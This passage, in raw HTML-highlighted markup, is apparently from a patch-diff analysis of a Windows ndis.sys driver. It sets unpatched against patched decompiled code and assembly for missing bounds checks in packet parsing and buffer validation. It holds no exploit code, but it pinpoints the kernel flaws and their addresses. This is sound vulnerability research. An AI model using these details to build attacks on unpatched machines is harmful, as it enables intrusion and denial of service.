class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;protocol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// data offset 0x14, now reached only when safe&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As in Finding 1, the 802.1Q VLAN branch (&lt;code&gt;0x8100&lt;/code&gt;) already re-validated &lt;code&gt;ByteCount &amp;gt;= 0x12&lt;/code&gt; and &lt;code&gt;remaining &amp;gt;= 0x12&lt;/code&gt; in both builds; only the SNAP branch lacked the check.&lt;/p&gt;
&lt;h3&gt;Finding 2: Buffer Validation (&lt;code&gt;ndisValidateEmbeddedBufferBounds&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Unpatched (&lt;code&gt;0x1C0116760&lt;/code&gt;) — containment only, no minimum:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// parent_end&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// sub_start = base + Offset&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// sub_end   = sub_start + Length&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// overflow + containment&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;0x1C010C3CC&lt;/code&gt;) — adds the &lt;code&gt;Offset &amp;lt; minimum&lt;/code&gt; rejection (&lt;code&gt;a5&lt;/code&gt; is the new minimum, &lt;code&gt;a6&lt;/code&gt; is Offset):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// sub_start = base + Offset&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// sub_end   = sub_start + Length&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// NEW: reject when Offset &amp;lt; minimum&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// containment (unchanged intent)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;a8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The wrappers supply the minimum: &lt;code&gt;ndisValidateNdisVarDataDesc32InputString&lt;/code&gt; passes &lt;code&gt;0x28&lt;/code&gt;, &lt;code&gt;ndisValidateNdisVarDataDescInputString&lt;/code&gt; passes &lt;code&gt;0x48&lt;/code&gt;, and &lt;code&gt;ndisValidateNdisOffsetAndLengthInputBufferBounds&lt;/code&gt; passes &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: Parser&lt;/h3&gt;
&lt;p&gt;Unpatched sequence in &lt;code&gt;ndis_unpatched.sys&lt;/code&gt; (&lt;code&gt;ndisParseReceivedNBL&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x1c006e3a7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NET_BUFFER_LIST&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FirstNetBuffer&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e3ab&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NET_BUFFER&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;-- no NULL check&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e3af&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx+28h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MDL&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e3b2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e3b5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mh"&gt;0x1c006e3be&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e3c7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdlOffset&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e3c9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e3cc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mh"&gt;0x1c006e3b7&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e43f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+0Eh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;AAh&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SNAP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DSAP&lt;/span&gt;
